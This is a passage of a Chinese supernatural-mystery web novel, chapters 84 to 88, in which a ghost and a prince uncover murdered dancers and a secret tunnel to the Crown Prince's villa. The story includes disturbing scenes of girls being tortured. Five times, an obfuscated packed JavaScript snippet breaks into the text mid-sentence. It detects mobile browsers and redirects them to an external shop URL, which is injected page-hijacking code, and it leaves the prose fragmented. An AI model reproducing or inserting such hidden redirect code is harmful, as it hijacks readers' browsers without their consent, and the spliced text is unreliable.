她的双腿,像没有骨头一般,柔软地盘旋,缠绕。 她的身体,时而舒展,时而蜷缩,做出种种违背人体构造的、扭曲的姿态。 那是一种极致的美,与极致的恐怖,交织在一起的诡异步伐。 像一个被无形的线操控着的、已经破碎的木偶。 更可怕的,是她的脸。 那张原本朦胧的脸,随着她的舞蹈,开始发生变化。 朦胧的光影,在绸缎之下汇聚。 先是出现了一双眼睛。 那是一双含着泪的、充满惊恐的杏眼。 接着,是小巧的鼻子,和一张因痛苦而微张的嘴。 一个清秀少女的五官,渐渐清晰。 然而,这副面容只维持了短短一瞬。 下一秒,五官开始扭曲、融化。 杏眼变成了一双怨毒的丹凤眼。 清秀的脸庞,被一张刻薄、狰狞的面孔所取代。 紧接着,又是一张。 再一张。 痛苦的,绝望的,愤怒的,麻木的…… 一张又一张不同的女人的脸,在她那一方小小的面庞上,如同走马灯般,飞速变换。 每一个五官的出现,都伴随着压抑的、无声的尖叫。 她们的表情痛苦,她们的眼神充满怨恨。 可她们,都被困在了这具跳着诡异舞蹈的身体里,永世不得解脱。 音乐,愈发急促。 舞蹈,愈发癫狂。 杭玉堂和诸元看得浑身发冷,手脚冰凉。 饶是他们见惯了尸山血海,也从未见过如此诡异、如此令人心生寒意的景象。 靳朝言的脸色,已经阴沉得能滴出水来。 安槐也静静地看着。 她感受到了排山倒海的怨怒和杀气。 “殿下。”安槐的声音,在诡异的乐声中响起,清晰而冷静:“我们找到的,恐怕不是一个苦主。” 靳朝言转头看她。 安槐的目光,穿过那些不断变换的、痛苦的脸庞,落在那具疯狂舞动的身体上。 “这里。” “这不是一个人的怨。” “而是一群人的冢。” 话音落下的瞬间,舞台上那哀怨空灵的乐声陡然一变。 铮——! 仿佛一根绷紧到极致的琴弦,被狂怒的手指狠狠拨断。 刺耳的弦音撕裂了空气。 舞蹈骤然间从诡异的优美,变成了癫狂的挣扎。 她的四肢以一种撕裂般的姿态疯狂挥舞,每一个关节都发出了“咔咔”的、令人牙酸的脆响,仿佛要在下一秒就彻底散架。 旋转,跳跃,她不停歇。 速度越来越快,快到在众人眼中只留下一道道惨白的残影。 整个空间,似乎都被这疯狂的舞步所带动,开始扭曲,变形。 墙壁上的飞天美人图,那些美人的嘴角,勾起了一抹诡异的微笑。 四周的西洋镜里,映照出的不再是屋内的景象,而是一片混沌的、不断旋转的血色漩涡。 空气,变得粘稠而沉重。 仿佛从水银变成了铁水,压得人喘不过气来。 “殿下,这……” 杭玉堂的声音有些干涩,他感觉自己的呼吸都开始困难。 他身边的诸元没说话,只是默默地把团子往怀里又揽了揽,小家伙倒是没有什么不舒服的表现,只是呆呆地看着。 没有人回答杭玉堂。 因为新的变化,已经发生了。 在骨头疯狂旋转的身影旁,一缕缕黑色的怨气,从厚重的地毯下,从华丽的墙壁里,从金丝楠木的舞台缝隙中,丝丝缕缕地滲透出来。 那些怨气,在空中凝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17453742|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聚,拉长,渐渐幻化出人形。 一个。 两个。 十个。 转眼之间,空旷的舞台上,便多出了十几个穿着薄如蝉翼纱衣的女子身影。 她们的身形是虚幻的,介于真实与虚无之间,面容却清晰得可怕。 每一个,都美得惊心动魄。 或清纯,或妩媚,或娇憨,或冷艳。 她们赤着双足,随着那越来越急促的乐声,一同起舞。 她们的舞姿,更加曼妙,也更加……恐怖。 一个女子的腰,向后弯折,形成了一个完美的、却足以折断任何活人脊椎的拱桥。 她的头颅,从**,带着一抹凄厉的笑容,望向台下。 另一个女子的双臂,如同无骨的灵蛇,在身后交缠,打出一个繁复而诡异的结。 她们的每一个动作,都在挑战着人类的认知极限。 美。 极致的美。 与极致的痛苦,交织成一幅活生生的地狱绘卷。 幻象还在扩大。 舞台之下,那些原本空无一人的矮榻和酒案旁,也开始浮现出一个个模糊的人影。 这一次,是男人。 他们穿着华贵的锦袍,腰缠玉带,身形或臃肿,或精瘦。 他们凭空出现,仿佛一直就坐在那里。 一个满脸油光的胖子,抓起案上根本不存在的酒壶,仰头痛饮,酒水顺着他肥厚的下巴流下,浸湿了前襟。 他旁边一个瘦得像竹竿的男人,正搂着一个同样虚幻的、衣不蔽体的女子,一双色眯眯的三角眼,在那女子身上肆无忌惮地游走。 还有人高声谈笑,有人划拳行令,有人举杯邀饮。 他们的嘴在动,表情在变,姿态丑恶,犹如地狱里爬出来的恶鬼。 但自始至终,这屋子里除了那癫狂的乐声,再没有其他任何声音。 无声的狂欢,比任何喧嚣都更令人毛骨悚然。 靳朝言的脸色已经沉得能拧出水来。 他脸上的那道疤痕,在光影变幻中,像一条蛰伏的赤色蜈蚣,狰狞可怖。 京兆尹见过的恶人,比寻常人吃过的米都多。 可眼前这群连人都算不上的东西,他们身上那种纯粹的、不加掩饰的、视人命如草芥的邪气,依旧让他体内的戾气开始翻涌。 安槐静静地看着。 嗡—— 眼前的景象,又是一变。 第84章 折骨,怨域 舞台和酒案之后,又多了一层虚幻景象。 金碧辉煌的大厅之后,出现了一间阴暗、潮湿的地下石室。 石室的墙壁上,挂着各种各样奇怪的器具。 十几个衣衫单薄的少女,正被固定在那些器械上。 她们的脸上,还带着未脱的稚气。 一个面容冷酷的中年妇人,面无表情地摇动着一个绞盘。 随着她的动作,被绑在木架上的一个女孩,发出了一声压抑到极致的惨叫。 她的双腿,被硬生生地拉开,成一条直线,甚至超越了极限,呈现出一个诡异的钝角。 “咔嚓。” 一声轻微的、骨头错位的声音。 女孩疼得晕了过去。 那妇人看也没看,只是冷漠地挥了挥手,立刻有两个壮汉上前,将女孩像拖一条死狗一样拖了下去。 另一个角落。 一个穿着道袍的男人,正拿着一碗黑褐色的、散发着怪味的汤药,粗暴地灌进一个女孩的嘴里。 女孩拼命挣扎,汤药洒得到处都是。 “喝下去!” 男人掐住她的下颌,厉声喝道:“喝了‘软骨汤’,你们才能跳出仙人想看的舞!才能让你们的身体,变得像面团一样柔软!这是你们的福气!” 女孩的眼中,充满了恐惧和绝望。 她们不是在练舞。 她们是在被“制造”。 用药物和酷刑,将一个个鲜活的生命,扭曲成供人取乐的、没有灵魂的玩偶。 这才是那诡异舞姿的真相。 不是天赋,不是技巧。 是无数个日夜里,用血和泪,用一寸寸被折断的骨头,浇灌出的恶之花。 安槐轻声说:“人间……为何总有这样的炼狱?” 没有人能回答。 那股由无数冤魂的痛苦和绝望汇聚而成的怨气,已经浓郁到了顶点。 众人只觉得胸口像是压了一块巨石,连灵魂都在战栗。 一种无形的蛊惑力量,随着那疯狂的乐声,侵入了每个人的脑海。 就在这时。 “嘿……” 站在杭玉堂身旁的诸元,忽然发出了一声意义不明的轻笑。 他的眼神,变得有些迷离,直勾勾地盯着舞台中央的幻象。 他缓缓地,抬起了自己的右臂。 然后,当着所有人的面,以一个极其缓慢,却又无比坚定的姿态,将自己的手臂,朝着身后,反向扭去。 那是一个正常人肩关节绝对应付不了的角度。 再多一分,就是脱臼。 再多两分,就是骨折。 可诸元的脸上,却带着一种诡异的、痴迷的微笑。 他仿佛感觉不到任何疼痛。 他的眼睛里,映着那些女子的舞姿,身体则像是被无形的丝线牵引着,不由自主地模仿起来。 他知道自己在做什么。 他能清晰地感觉到自己肩膀的关节正在发出不堪重负的呻吟。 他甚至能预感到下一秒,骨头刺穿皮肉的剧痛。 可是,他停不下来。 身体,已经不是自己的了。 一种诡异的快感,从心底升起,催促着他,去完成那个“优美”的动作。 折断它。 就像她们一样。 折断了,才能跳得更好看。 靳朝言眸光一凛,周身戾气爆涨,正欲出手。 “别动!” 安槐的声音,清冷如冰。 她动了。 在诸元的手臂即将抵达那个不可逆转的临界点时,一只素白的手,精准而有力的,抓住了他的手腕。 冰凉的触感,让诸元浑身一颤。 那股疯狂的、想要自残的冲动,像是被一盆冰水当头浇下,瞬间熄灭了大半。 但他眼中的迷离,还未完全褪去。 安槐没有看他,她抬头,对着门外,清喝一声。 “九条!” 声音穿透了厚重的墙壁,在寂静的夜空中传出老远。 “唳——!” 下一秒,一声尖锐高亢的鸟鸣,如同利剑,从院外刺来! 紧接着,“轰”的一声巨响! 那扇本就年久失修的窗户,连同着窗棂和窗纸,被一个黑色的影子,悍然撞得粉碎! 木屑纷飞中,一道黑色的闪电,冲入屋内! 正是九条! 它没有丝毫停留,展开双翼,在金碧辉煌的大厅之内,极速盘旋。 它飞过的地方,那癫狂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17455619|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐声,戛然而止。 它掠过的所在,那狰狞的男人,痛苦的舞女,地狱般的石室……所有的幻象,都如同被狂风吹散的烟尘,瞬间消弭于无形。 不过眨眼之间。 屋子,又恢复了原来的样子。 还是那个布满灰尘、空旷诡异的大厅。 地上是厚厚的地毯,四周是冰冷的西洋镜,中央是孤零零的舞台。 舞台上,那具白骨,静静地立着,仿佛从头到尾,就没动过。 一切,都像是一场荒诞的噩梦。 “噗通。” 诸元双腿一软,一屁股瘫坐在了地上。 他抱着自己那条险些报废的胳膊,大口大口地喘着粗气,额头上,后背上,全是冷汗。 “我……我刚才……” 他的声音还在发抖,脸上血色尽褪,一片煞白。 他抬头,看着安槐和靳朝言,眼神里满是后怕。 “我知道我在干什么,我知道再扭下去胳膊就断了,可我就是控制不住!身体里好像有另一个声音在告诉我,断了才好,断了才美!娘娘,要不是您……” 他不敢想,如果安槐再晚一步,自己的右臂,恐怕已经被自己活生生地掰成了两截。 那种自己是自己身体的旁观者的感觉,比任何刀剑加身,都更加恐怖。 安槐收回手,神色淡然。 “此地的怨气,已经凝成了一方‘怨域’,能引动人心底最深处的负面情绪,加以放大,从而控制你们的感官和行动。” 九条盘旋了一圈,得意洋洋地落在了安槐的肩头,用乌黑的鸟喙,亲昵地蹭了蹭她的脸颊,像是在邀功。 安槐摸了摸它光滑的羽毛。 骨头不见了,像是从来没有出现过一样。 “所以,我们刚才看到的,都是真的。” “是。”安槐点头,眼神也冷了下来:“是她们临死前,最深刻的记忆和最强烈的怨恨,在这座宅子里,日复一日,年复一年,不断重演的悲剧。” 她抬起眼,环视着这座看似华丽,实则每一寸都浸透了血泪的囚笼。 安槐的视线,最终定格在舞台上。 “只是不知,她们是在为谁而舞?” 第85章 折骨,犹如黄泉路 这句轻飘飘的问话,像一根羽毛,落入了死寂的空气里。 没有人能回答。 但有人,给出了行动。 靳朝言的目光从那空无一物的舞台上收回,转而投向了这间屋子的四壁。 他走到那扇被九条撞碎的窗户前。 他伸出手,捻起一小块腐朽的木头。 “窗棂早已朽烂,一触即碎。” 他又走到大门边,轻轻踢了踢门下那把锈迹斑斑的铜锁。 “哗啦。” 铜锁应声而落,碎成了几块铁锈。 他回过身,环视着这满屋与外界的破败格格不入的金碧辉煌。 “外面荒草丛生,路径难寻,宅邸破败不堪。” “里面,却是一掷千金的销金窟。” “你们觉得,那些能让这些女子至死都在献舞的‘贵客’,会是拨开半人高的野草,再翻墙钻洞进来的么?” 杭玉堂和诸元对视一眼,齐齐摇头。 开玩笑。 看刚才幻象里那些男人肥头大耳、身穿绫罗绸缎的样子,哪个不是养尊处优的主儿。 让他们走两步路都得哼唧半天,还翻墙? 墙能把他们给翻了。 “所以,这里必然有另一条路。” 一条专门为那些见不得光的“贵客”准备的,隐秘、舒适,且能直达这地狱舞池的通道。 安槐抱着手臂,饶有兴致地看着他。 挺犀利的。 三百年前的鬼,欣赏三百后的人,倒也有趣。 “夫人?”靳朝言见她不语,侧头看来。 “嗯?” “你怎么看?” 安槐歪了歪头,肩上的九条也跟着歪了歪鸟头,一人一鸟,动作神同步。 杭玉堂怀里抱着的团子,也赶紧将脑袋歪了一下。 “我怎么看?” “我站着看。” 靳朝言:“……” 杭玉堂:“……” 诸元:“……” 好冷的笑话。 “我觉得殿下说得对。”安槐说:“这宅子不像是只空了两三年的样子,在这之前,如果里面有见不得人的操作,也会掩人耳目。所以,一定另有通道。这些人是绝对不会走大门的。” 靳朝言立刻下令。 “找。” 杭玉堂和诸元立刻领命。 两人挽起袖子,一个负责敲墙,一个负责掀地毯。 “咚咚咚。” “这边是实心的。” “哗啦——” “地毯下是金丝楠木的地板,严丝合缝。” 安槐背着手在屋里溜达。 她走到一面挂着飞天美人图的墙壁前,停下了脚步。 画上的美人,体态丰腴,衣带飘飘,正含笑看着她。 可经历了刚才那一遭,再看这画,总觉得那笑容里藏着说不尽的诡异和悲凉。 “在这里。” 她忽然开口。 正在嘿咻嘿咻搬一张矮榻的杭玉堂动作一顿,回头看她。 “娘娘,您有发现?” 安槐伸出一根纤白的手指,点了点画中一个飞天美人赤着的脚踝。 那脚踝上,系着一串小巧精致的金铃铛。 画工精湛,连铃铛上细微的纹路都清晰可见。 她伸出手,在那画中美人脚踝的金铃铛上,轻轻按了一下。 “咔。” 一声轻微的机括弹动声,在这空旷的大厅里,显得格外清晰。 紧接着。 “轰隆隆……” 一阵沉闷的机括转动声响起。 众人脚下那巨大的、用金丝楠木铺就的舞台,竟然从中间缓缓裂开,向两侧滑去,露出了一个黑漆漆的、深不见底的向下的台阶。 一股陈腐、阴冷的气息,从地道口扑面而来。 杭玉堂和诸元目瞪口呆。 机关……在画上? 杭玉堂忙从怀里取出火折子,带头走了下去。 幽暗的火光,只能照亮脚下三尺之地。 台阶是青石板铺就的,上面布满了青苔,又湿又滑。 空气里弥漫着一股土腥味和常年不见光的霉味。 “这路……怎么感觉跟通往地府似的。”诸元走在最后面,忍不住小声嘀咕。 走在他前面的杭玉堂,立刻回头瞪了他一眼。 “闭上你的乌鸦嘴!” 黑暗中,安槐清冷的声音幽幽响起。 “放心,地府的路可比这宽敞多了。” 诸元一个哆嗦。 安槐仿佛没看到他吓破胆的样子,继续慢悠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17455620|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悠地补充。 “而且,服务周到,全程有鬼差接送,还不用自己走。” “体验感比这个好很多。” 诸元:“……” 救命,娘娘说的笑话一点儿也不好笑,他现在不想知道了! 一行人沉默地沿着台阶向下,走了约莫一炷香的功夫,终于踩到了平地。 这是一条用青砖砌成的狭长甬道,仅容一人通过。 墙壁上每隔一段距离,就有一盏油灯,但灯油早已耗尽,灯芯也已腐朽。 昏黄的光线将他们的影子在墙壁上拉得又细又长,宛如鬼魅。 甬道很长,仿佛没有尽头。 四周死一般的寂静,只有他们几个人的脚步声和呼吸声,在狭小的空间里被无限放大。 又走了许久,杭玉堂停下了脚步。 前面,没路了。 一堵厚实的、明显是后来才砌上的青砖墙,严严实实地堵住了他们的去路。 杭玉堂上前,伸手敲了敲。 “梆梆。” 声音很沉,是实心的。 他又贴耳上去听了听,摇了摇头。 “殿下,听不到任何动静,应该是被彻底封**。” “怎么办?”他看向靳朝言,请示道。 靳朝言的回答,简单粗暴到了极点。 他甚至连一丝犹豫都没有。 “砸开。” 杭玉堂一愣:“殿下,这墙后面……不知是什么地方,若是……” 若是哪位权贵的府邸,他们这么破墙而入,恐怕会引来天大的麻烦。 靳朝言冷笑一声,那笑意却未达眼底。 “本王倒要看看,是哪路神仙,敢在京郊建这种肮脏地方。” 他的声音里,带着一丝压抑的怒火和凛冽的杀意。 “只要墙那边,不是皇宫。” “无论是谁的府邸,本王都能砸。” “砸。” 最后这个字,他说得斩钉截铁。 殿下都这么说了,他们还有什么好怕的! 干就完了! 不过这里没有工具,杭玉堂又出去了一趟,也不知从哪里寻摸来两个锤子。 黎四黎五也跟了下来。 靳朝言和安槐抱着团子退在一旁,看四个苦力捶墙。 第86章 折骨,醒掌天下权,醉卧美人膝 “轰!” “砰!” “轰隆!” 整个甬道都在这剧烈的撞击下微微颤抖。 灰尘簌簌而下,呛得人睁不开眼。 九条也从她肩上飞起,落在了更远处的墙壁上,歪着头,好奇地看着这两个人类拆墙。 这画面,怎么说呢。 主打一个,大力出奇迹。 “咔嚓……” 一道裂缝,出现在墙壁中央。 紧接着,裂缝如蛛网般,迅速向四周蔓延。 “有了!”诸元惊喜地叫道。 一道微弱的光线,从裂缝中透了进来。 “加把劲!”杭玉堂低喝一声,两人同时发力。 “轰——!” 一声巨响。 整面墙壁,轰然倒塌! 一个不规则的、一人多高的洞口,出现在他们面前。 洞口那边,是明亮的光线,和一股与这甬道截然不同的、清雅的墨香。 “走。” 杭玉堂率先从洞口钻了出去。 当大家从满是灰尘的洞口踏出的那一刻,眼前豁然开朗。 这里,竟是一间极为雅致的书房。 地上铺着厚厚的波斯地毯,踩上去悄无声息。 靠墙的位置,立着一排顶天立地的紫檀木书架,上面密密麻麻地摆满了各种书籍,从经史子集到野闻趣谈,应有尽有。 房间的正中央,是一张宽大的黄花梨木书案。 案上,笔墨纸砚一应俱全,旁边小巧的博山炉里,还燃着袅袅的熏香,是上等的龙涎香。 整个房间,窗明几净,一尘不染,处处都透着主人的考究与品味。 而他们几个,刚从狗洞似的墙洞里钻出来,一个个灰头土脸,与这雅致的环境显得格格不入。 尤其是刚才负责拆迁的杭玉堂和诸元,简直像是刚从泥地里滚过一圈,连头发眉毛上都挂着白灰。 诸元忍不住打了个大大的喷嚏。 “阿嚏——!” 声音在安静的书房里,显得格外响亮。 杭玉堂赶紧捂住他的嘴,一脸紧张地四下张望。 “没人。”靳朝言沉声道。 他的目光,已经落在了那张书案上。 案上,铺着一张上好的宣纸。 只见宣纸上,龙飞凤舞地写着八个大字。 “醉卧美人膝,醒掌天下权。” 字迹苍劲有力,笔锋锐利,每一个转折都带着一股不加掩饰的野心和欲望。 仿佛要透纸而出。 “好字。”安槐由衷地赞叹了一句:“就是这内容,太俗。” 靳朝言盯着那张纸,缓缓道:“这是太子的字。” 话音落下,整个书房死一般的寂静。 方才砸墙砸得热火朝天的杭玉堂和诸元,像是被人当头浇了一盆冰水,从里到外凉了个透。 两人脸上的灰还没擦干净,表情已经从亢奋的拆迁工,变成了误闯皇家禁地的土拨鼠,僵在原地,动也不敢动。 太子是未来的国君。 就算同是皇帝的儿子,地位也比靳朝言搞。 他们……他们刚刚砸了太子别院的墙? 诸元觉得自己的脖子后面凉飕飕的,下意识地摸了摸。 还好,脑袋还在。 杭玉堂比他镇定些,但也只是表面上。他悄悄往自家殿下身后挪了半步,试图降低自己的存在感。 这种神仙打架的场面,他们凡人最好还是隐身。 安槐倒是没什么特别的反应。 一个念头,忽然从她脑海里闪过。 “对了。” 她转头看向靳朝言。 “我们之前查的那个生辰八字,被藏起来的那个。” “你当时说,不是裘似的。” 安槐的眼神里闪过一丝探究。 “难道……是太子的?” 如果那个被诅咒的人是太子,那很多事情就说得通了。 比如,为什么裘家会如此紧张,为什么太子太傅裘讷会牵涉其中。 靳朝言却干脆利落地摇了摇头。 “不是他。” “为何?” “太子的生辰,乃至整个皇室宗亲的生辰,都会记录在宗人府的玉牒之上,昭告天下。” “皇子降生,是国之大事,司天监会提前测算,史官会详细记载,根本算不上秘密。” “如果是他,我看一眼便知。” 安槐抱着手臂,指尖轻轻敲打着臂弯。 “这就奇怪了。” “不是裘似,也不是太子。” “那这个被裘家上下拼命藏起来的人,到底是谁?” 这问题,像一颗石子,投入了众人心中,泛起圈圈涟漪。 是啊,到底是谁,能有这么大的能量? 靳朝言深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17455621|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深地看了她一眼。 “你之前不是说,你能查到?” 安槐扬了扬眉。 “能是能。” “那日我已经顺着线索,进了裘府,几乎就要揪到那人的衣角了。” “可惜,被打断了。” “不过可以确定,那个人,就在裘府之中。” 就像一个藏在米缸里的耗子,无论怎么躲,都还在那个范围里。 靳朝言的眸色沉了下去。 “能不能再找一次?” “当然。”安槐的回答毫不犹豫。 女人不能说不行。 几人说话的时候,靳朝言让杭玉堂出去看看。 探探周围的情况。 他很快就回来了。 “殿下,外面查清楚了。” “这里,确实是太子殿下名下的一处别院,叫‘观澜苑’。” “大门开在另一条街,门口立着两个大石狮子,气派非凡。” 杭玉堂比划了一下。 “谁能想得到,这雕梁画栋的观澜苑,后墙竟然跟咱们刚才待的那个鬼宅子,是连在一起的!” “这设计,简直绝了。” 他咂了咂嘴,由衷地赞叹了一句。 “从外面看,这两个宅子不在一个区域,八竿子打不着。” “可实际上,内里却有一条地道相连。” 诸元听得目瞪口呆,忍不住小声嘀咕。 “这不就是……金屋藏……鬼?” 他说完,自己打了个冷颤。 杭玉堂没理他,继续汇报道。 “那些所谓的‘贵客’,想必就是先被请到这观澜苑。” “表面上,是来太子别院附庸风雅,喝茶赏画。” “实际上,却是进了这书房,再通过我们来的那条密道,神不知鬼不觉地溜到隔壁的销金窟里,寻欢作乐。” “这手段,真是高明。” “不过太子也忙,别院一年应该也来不了两回。” “因此,院里的下人也不多。这个时辰,大多都在前院的下人房里歇着了。” “这书房是重地,太子不来,更没人敢靠近。所以我们砸墙,才没惊动任何人。” 听完杭玉堂的汇报,书房里再次陷入了沉默。 真相,已经昭然若揭。 这条密道,这张墨宝,就是太子与那座人间地狱之间,最直接的联系。 第87章 折骨,演戏演全套 安槐打破了沉默。 她看向靳朝言,眼神里没有玩笑,只有纯粹的好奇。 “所以,这算不算是发现了铁板钉钉的证据?” “就凭这个,能不能指认太子?” 靳朝言缓缓摇头。 “不够。” “为什么?”安槐皱起了眉:“人证物证……哦,人证是没了,但这物证不都在这儿吗?” “这还不够?” 靳朝言继续摇头。 “我们没有人证。” “那些被折磨致死的女子的冤魂,在大理寺的公堂之上,算不得证词。再说现在骨头都没了,冤魂都不知道去哪里找。” “第二,我们没有直接的物证。我们没有找到那些女子的骸骨,也没有找到她们最初被囚禁的地方。” “至于这别院和密道……” “太子完全可以说,这别院他借给了旁人使用,对密道一事,他一问三不知。” “他一年到头都不来几次,这个说辞,天衣无缝。” “他甚至可以反咬一口,说是有人故意栽赃陷害,意图动摇国本。” “届时,他只需要推出一个替死鬼,就能把自己摘得干干净净。” 安槐听明白了。 说白了,就是没有抓到现行。 只要太子脸皮够厚,不承认,谁也拿他没办法。 毕竟,他是太子。 这个身份,就是他最大、最硬的护身符。 安槐长长地叹了口气,语气里满是嫌弃。 书房里的气氛,一时有些沉重。 他们费了这么大的劲,结果却只是戳破了一个真相的表皮,根本无法触及核心。 这种无力感,让杭玉堂和诸元都有些沮丧。 唯有安槐,在短暂的沉默后,忽然动了。 她信步走到书案旁,避开了那张写着字的宣纸。 屋里所有人的目光,都不由自主地跟随着她。 只见她缓缓抬起手,伸进了自己宽大的衣袖里。 那股一直萦绕在她身上的,慵懒而散漫的气息,在这一刻,悄然散去。 取而代之的,是一种令人心悸的、冰冷的肃杀之气。 她从袖中,取出了一个东西。 一个巴掌大小的,用槐木雕刻而成的人偶。 人偶有四肢,有身躯,轮廓粗糙。 最诡异的是,它的脸上,一片空白,没有口鼻,没有眼睛。 正是之前在韦升荣案中,发现的那个被下了咒的无脸木偶。 当这个木偶出现的刹那,书房里那股清雅的龙涎香,仿佛都被冲淡了。 一股阴冷的、带着怨毒的气息,丝丝缕缕地弥漫开来。 连空气的温度,都仿佛下降了几分。 安槐将木偶托在自己白皙得近乎透明的掌心。 她垂下眼帘,看着那张空白的脸。 她的眼神,不再有平日里的戏谑和看热闹不嫌事大。 那双漆黑的瞳眸里,沉淀着三百年的幽暗与寒霜,深不见底,宛如连通着另一个世界的深渊。 “既然阳间的路,走不通。” 她的声音很轻,很低,像一阵拂过墓地的夜风,带着刺骨的凉意。 那就只好……再走一趟阴间道。 她抬起眼,目光穿过书房的窗棂,望向了京城裘府的方向。 安槐走到书桌前。 她拿起一只毛笔,随手在砚台里蘸了蘸墨。 所有人的目光都汇聚在她的笔尖。 只见安槐手腕悬空,姿态优雅。 然后,笔尖落下。 …… 嗯? 杭玉堂眨了眨眼。 诸元也揉了揉眼睛。 两人对视一眼,都在对方眼中看到了同款的迷茫。 只见那张上好的宣纸上,没有龙飞凤舞,也没有玄奥符文。 只有几团……像是顽童随手涂鸦的墨点子,勾连在一起,歪歪扭扭,毫无章法。 既不像字,也不像画。 如果非要形容一下。 那感觉,就像是某个老大夫喝醉了之后,梦游时开出的药方。 主打一个谁也别想看懂。 安槐本人却对自己的“大作”十分满意。 她举起那张纸,吹了吹上面未干的墨迹,神情严肃,一本正经。 演戏,就要演全套。 安槐可懂人心了。 这些凡人,你直接告诉他们,你能凭空锁定一个人的位置,他们会觉得你是妖怪。 虽然确实是,但是没必要。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17455622|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但如果你画个符,告诉他们,这是符的力量……他们就会欣然接受,然后夸你一句:大师,牛逼。 她清了清嗓子,成功吸引了所有人的注意。 “看好了。” 她将那张涂鸦之作展示给众人。 “这是师父教我的‘千里锁魂寻踪符’。” 她信口胡诌了一个听起来就很厉害的名字。 杭玉堂和诸元立刻露出“不明觉厉”的表情。 安槐很满意他们的捧场,继续用她那清冷的声线,开始了自己的科普。 “这人偶之上,附着了施咒者的怨气与那个被藏起来之人的生辰八字。” “这两者,就像是种子。” “而我的这张符,便是催生种子的土壤与甘霖。” “符纸贴上,便能以怨气为根,以生辰为引,生出一条‘寻踪藤’。” “此藤,肉眼不可见,凡人不可触。” “只有开了天眼之人,方能得见。” 她顿了顿,扫了一眼众人。 “恰好,你们现在都能看见。” “只要顺着藤蔓所指的方向,我们就能找到那个……被裘家和太子拼命藏起来的人。” 她一番话说得有理有据,逻辑清晰。 杭玉堂和诸元听得连连点头,恍然大悟。 安槐觉得气氛烘托得差不多了。 她捏着那张“神符”,走到了槐木人偶前。 然后,在众人屏息的注视下。 “啪”的一声。 她把那张纸,干脆利落地糊在了人偶空白的脸上。 杭玉堂和诸元嘴角一抽。 总觉得……好像有哪里不太对。 安槐贴完,还装模作样地掐了个指诀,压低声音,用一种毫无感情的语调念道。 “急急如律令。” “搞定。” 她拍了拍手,退后一步。 书房里,一片寂静。 一秒。 两秒。 三秒。 只见那张被墨迹浸染的宣纸,忽然毫无征兆地燃起了一点幽绿色的火焰! 火焰无声无息,却瞬间将符纸吞噬殆尽,化为飞灰。 而在符纸消失的地方,那人偶空白的脸上,一个嫩绿色的芽,凭空钻了出来! 第88章 折骨,另一个世界 安槐先抬腿:“跟着走。” “等等。” 靳朝言终于开口。 他看了一眼那根指向大门方向的藤蔓,又看了一眼杭玉堂和诸元。 “清路。” 杭玉堂和诸元瞬间从非人间的震撼中回过神来。 “是!殿下!” 两人领命,身形一闪,如同两只敏捷的狸猫,悄无声息地窜出了书房。 片刻之后,两人又闪了回来。 “殿下。”杭玉堂垂眸:“观澜苑内,共有下人八名,此刻都在前院的下人房。” “现已全部……睡下了。” 他斟酌了一下用词。 “睡得很沉,估计不到明天中午是醒不来了。” 靳朝言点了点头。 安槐在一旁听着,抱起了手臂。 “你们这业务,还挺熟练。” 杭玉堂嘿嘿一笑,挠了挠头。 “娘娘过奖,都是殿下教导有方。” 这话也不知道是不是在夸靳朝言。 现在,万事俱备。 安槐也不再耽搁,拿起木偶。 藤蔓的尖端,始终执着地指向前方。 “那么……” 